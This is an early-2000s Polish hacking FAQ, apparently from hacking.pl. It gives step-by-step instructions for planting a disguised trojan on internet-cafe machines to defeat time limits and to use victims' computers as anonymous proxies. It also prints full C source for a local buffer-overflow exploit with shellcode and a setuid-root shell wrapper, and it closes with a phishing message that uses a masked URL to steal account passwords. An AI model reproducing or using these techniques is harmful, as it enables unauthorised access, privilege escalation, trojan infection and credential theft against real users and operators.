*** http://hacking.pl ***

Loading linux............... 
Booting kernel.........  (w takiej to bylo kolejnosci)

Witaj na serwerze CyBeR FinGeR.  (<--- dobre co? ;))

login: fingerek
password: 

Session for user fingerek started at Mon 09-04-01 15.30.
Have a lot of fun.

fingerek# ./interface

SYSTEM INTERFACE:
1. Wstep i disclaimer. (czy jakos tak...)
2. Obchodzenie zabezpieczen w kafejkach.
3. Buffer Overflows inaczej.
4. Jak sobie radzic w roznych sytuacjach.
5. Zrob se proxy.
6. Polopyrine. (czyli jak zrobic siec na HiS'ie)
7. Potwierdz haslo - administrator :)).
8a. Wejdz na moja strone, a zakosze Ci rejestr...
8b. LD_PRELOAD.
9. Wywolania przy uzyciu wzglednych sciezek.
10. Kontakt.
11. Greetz.





1. WSTEP.
	Jesli uwazasz ze niczego sie z tego faq nie dowiesz to go nie 
czytaj. I jeszcze jedno piszac to faq staralem sie nie uzywac cudzych faqf bo nie ma 
sensu ich przepisywac. Jesli jednak nieswiadomie cos powieliem to sory. Jak cos (np. 
chcecie cos z tego faq gdzies publikowac) to prosze o kontakt. A tak na marginesie to
sorki za bledy ort. A teraz disclaimer (tak to sie pisze?): 

+-----------------------------------------------------------------------------------------------+
| Nie ponosze, zadnej odpowiedzialnosci  za jakiekolwiek niezgodne z prawem (polskim)		|
| wykozystanie ponizej zamieszczonych materialow. <--- Czy to jest nadal obowiazkowe discl..)?	|
+-----------------------------------------------------------------------------------------------+




2. OBCHODZENIE ZABEZPIECZEN W KAFEJKACH.
	Chodzi tu o zabezpieczenia przed wykorzystaniem komputera przez czas dluzszy niz 
zaplacony. Admin instaluje na wszystkich kompach programik do zdalnej kontroli (remote 
control jak ktos nie wie), i za ich pomoca po uplynieciu czasu blokuje nam komputerek...
Moj pomysl jest dosc prosty, ale moze nie dzialac, bo router moze nie akceptowac polaczen
przychodzacych, no ale do rzeczy: W kazdej kafei na pulpicie jest skrot do mirca (jak znacie
jakas w ktorej nie ma to piszcie). Robimy sobie plik batch (z rozszezenie .bat - lamaaz)
takiej zawartosci:

@C:\windows\system\intelinter.exe
@C:\mirc32\mirc32.exe

I ustawiam, aby uruchamial sie zminimalizowany. Jesli trzeba to pozamieniajcie sciezki 
do mirca, i do bowla, ktorego trzeba sciagnac (np. z lamcker.prv.pl) i zmienic mu nazwe 
zeby sie nie rzucal w oczy. I najlepiej zmienic mu haslo (zalonczony program config)... 
Nastepnym krokiem jest zmienienie obiektu docelowego  skrotu do mirca, na nasz batch 
(ktorego tez sprytnie kamuflujemy...). Zostawiamy i przychodzimy za jakis czas kiedy mamy
pewnosc ze ktos to uruchomil. Wywalamy batcha i trojana a nastepnie zmieniamy sciezke do 
celu w skrocie mirca, czyli przywracamy poprzedni stan. Teraz piszemy sobie na naszym 
koncie shellowym (spis serwerow masz na hacking.pl):

telnet <tutaj nasz ip> 1981 <-- port na ktorym siedzi bowl

Gdy nas polaczy wpisujemy haslo ktore ustawilismy. I powinno nas "zalogowac". Teraz 
wpisujemy "ps", a jak nam wyswietli liste procesow (tj. w linuxie) to po nazwie 
patrzymy ktory to moga byc te ograniczenia, a potem kill i pid (czy cos w tym stylu, 
wpisz "help" jak cos...). I jak go kilniesz to juz se mozesz siedziec dopuki many nie
zczai ze program kreci. Jak sie bedzie plumkac to mozesz mowic, ze on Cie chce oszukac
bo ty zaplaciles, i by Cie wylaczylo jak by byl koniec czasu, a nie wylancza wiec nie 
ma... Poprostu rob awanture to sie uspokoi...

Powodzenia. Doswiadczenia, opinie itd. wysylajcie na ktorys ze srodkow komunikacji 
podany na koncu.




3. BUFFER OVERFLOW INACZEJ.
	Pewnie jestes ciekaw co tutaj napisze (mam racje?). No wiec czytaj:
Chcialbym ci przedstawic pewien szablon exploita typu buffer overflow, ale nie jest
to ten, ktory mozesz sobie obejzec w kazdym exploicie... Ten jest prostszy w uzyciu
dlatego go uzywam, bo po co se zycie utrudniac? Ma on jednak jedna wade nie mozna go
wykozystywac do atakow zdalnych. Wykozystuje on zmienne systemowe, dzieki czemu, jedyna
rzecza jaka musimy ustawic jest dlugosc bufora, ktora mozna ustalic bezblednie 
nastepujacym algorytmem:

1. Wpisz parametr czy co tam o dlugosci 1000 bajtow.
2. Jesli nie ma segmentation fault to zwieksz parametr x2. Jesli jest to zmniejsz go 2x.
Oczywiscie mozesz zaokraglac.
3. Wykonuj powyzsze punkty az do uzyskania parametru o dlugosci n, dla ktorej nie ma seg. 
fault., a dla n + 10 juz jest (to wszystko ma byc w przyblizeniu). 
4. Teraz napisza tak:
fingerek# ./exploit <tutaj twoje n + 100>
bash$ <program do exploitowania> $RET  <-- program odpalil basha dlatego bash$ a nie fingerek#
bash# <hehe, to juz kazdy wie co robic teraz :)>

P.s. 1. To, ze sam program nie daje seg. fault., to nie znaczy ze nie mozna go wyexploitowac,
poprobuj wysploitowac go z parametrem (np. "-f"). Np. "/bin/mount -f aaaaaaaaaa", a potem 
"/bin/mount -f $RET"

P.s. 2. Jesli masz z nim jakies problemy to do mnie napisz...

P.s. 3. A co zrobic jesli program nie pobiera parametru tylko czeka na wpisanie czegos z
klawiatury, jak go wtedy exploitowac? Tak:

fingerek# (echo $RET; cat) | <nazwa progsa + ewentualnie parametr>

P.s. 4. Jeszcze jedna bardzo wazna sprawa: uruchominie /bin/sh zazwyczaj nie daje root-a,
bo program przed wywolaniem strcpy() albo gets() zmienia uid na twoj. Jest sposob, zeby to
obejsc:
W katalogu /tmp stworz plik ss.c o takiej zawartosci:

main()
{
        setuid(0);
        setgid(0);
        seteuid(0);
        setegid(0);
        system("/bin/sh");
}

a potem wpisz "gcc -o ss ss.c"
Exploit ma juz podana sciezke do /tmp/ss, ale mozesz to zmienic na inne, jak Ci wygodnie...

Oto kod tego cudaka...:

// ---------------------- exploit.c ------------------------------------ by AlephOne -----------
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/tmp/ss";  // Zmodyfikowany shellcode pod linuxa

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  system("/bin/bash");
}




4. JAK SOBIE RADZIC W ROZNYCH SYTUACJACH.
	Otoz przyszedl mi ostatnio, dosc barbazynski pomysl, ktory moze sie nam przydac
w jakiejs ekstremalnej sytuacji np. jestesmy na pustyni skonczyla sie nam woda, i musimy
zadzwonic a nie mamy karty. Prosze jednak o nie praktykowanie tego bez potrzeby. 
Zainspirowal mnie pewien automat, obok ktorego, codziennie przechodze w drodze do schoola
dnia 1 urwano sluchawke. dnia 2. rozwalono daszek i te boki wiec byl sam slupek, dnia 3.
zajumali juz automat, po dwuch dniach zrobili daszek ale nadal nie bylo automatu. (wisiala
gola linia) po kilku dniach powiesili automat. Dzisiaj jak przechodzilem znow byl bez 
sluchawki. No ale coz wandale z mojej dzielnicy... Moj pomysl:
Jak zadzwonic majac do dyspozycji sam automat?
Oto jak:
1. Urwij sluchawke z kablem. (nie wiem jak)
2. Urwij automat, i masz linie.
3. Polacz odpowiednio kabelki, a jednym przerywaj obwod, tak aby wybrac pulsowo.
4. A teraz uswiadom sobie ze to byl zart ;)))))))))))))))




5. ZROB SE PROXY
	I tym razem odwolam sie do bowla (tego trojana z punktu 2). O co chodzi? Otoz trojan 
ten ma pewna bardzo ciekawa opcje, a mianowicie telnet. Jak tego cuda uzywac? Postepuj wg.
ponizszej instrukcji:

1. Wcisnij komos tego trojana (zakladamy, ze kozysta z windowsa), albo zainstaluj go w 
kafejce.
2. Polacz sie z nim telnetem w ten oto sposob:

fingerek# telnet <adres kola z pkt. 1> 1981
Trying 66.6.66.6...
Connected. Escape character is ^]... 

password: <jakie tam sobie haslo ustawiles>

C:\> telnet <server na ktorym chcesz se zalozyc shella np. nether.net> <mozliwe ze ten telnet ma miec jakis parametr, poczytaj helpa>
Trying....

login: newuser
password: <wcisnij Enter>

<podazaj za instrukcjami zeby se zalozyc konto, a potem sie na nie zaloguj>

I tym oto sposobem masz anonimowe konto i za cholere Cie nie wysledza, chyba, ze ktos u kogo
masz trojana loguje polaczenia, ale raczej mu nikt nie uwierzy, bo kazdy moze sie migac ze 
to nie on.

Zalety:
- full anonimowosc

Wady:
- sam musisz zdobyc root-a (chyba, ze sie laczysz na swoj server ale tego nie polecam ;P)
- wolne lacze ze swiatem

Jak widzimy nie ma rozy bez kolcow :((((.




6. POLOPYRINE.
	Jesli mieszkasz w bloku albo na osiedlu, to mozesz sobie zalozyc siec...
Kilka praktycznych wskazowek:
1. Przejdz sie po sasiadach i popytaj kto jest zainteresowany.
2. Dogadaj sie w jakims sklepie, ze kupisz wiecej kart sieciowych, ale za to taniej.
3. W tym momencie powinienes miec ludzi (a raczej ich kompy) polaczone w siec.
4. Dzwonisz do TP SA <no comment> i pytasz czy na twojej centrali mozna zalozyc SDI.
Jesli nie to masz LAN i mozesz sie tym cieszyc :)), albo poszukac innego operatora
np. TeleTon, Netia, Multinet or sth.
5. Kolujesz jakiegos pentium 100 or 486 (nie testowane).
6. Sciagasz z sieci minidystrybucje POLOPYRINE (wpisz nazwe na wyszukiwarce).
7. Uruchamiasz instalke i masz to na dyskietce.
8. Odpalasz kompa server z tej dyskietki i juz, do com1 kompa podlanczasz kabel null 
modem zeby sie zalogowac na roota bez hasla. Do com2 podlanczasz SDI (na 90%, jest w 
dokumentacji). A do karty sieciowej juz wiesz co...
9. Dodatkowym zabiegiem jest wyjecie wiatraczka, zeby nie chalasowal, jesli chcesz to 
zrobic to postepuj zgodnie z instrukcjami z Linux Plusa nr. 9/2000 (41).

Wady:
- Slaby transfer (ale mozna sie podzielic czasem).
- Koniecznosc zakupu kompa na server (mozna tanio, bo w sumie trzeba tylko: obodowe, 
plyte gl, karte sieciowa i stacje dyskietek...).

Zalety:
- Tani internet!!!
- Tani internet!!!
- Tani internet!!!
- Tani internet!!!
- Tani internet!!!
- Masz LAN to mozesz se grac po sieci.
- Mozesz monitorowac swoja poczte, ICQ itd. na bierzaco.



7. POTWIERDZ HASLO - ADMINISTRATOR.
	No coz co zrobic kiedy dostaniesz od admina taka notke:
"Prosze o weryfikacje hasla z powodu problemow technicznych.
W razie nie potwierdzenia hasla konto zostanie usuniete.
			Powazanie
			   Admin				"
No coz admin kaze user musi.
Sa dwie wersje:
- Dla totalnych tlumokow, albo dla dziewczyn:
"Prosze kliknac na ponizszy link w celu weryfikacji hasla:
	potwierdzenie.onet.pl@43243243243242/%ff%5a.h%7c"
Poczytajcie se o maskowaniu url (hacking.pl/text/url.php3), to zrozumiecie...
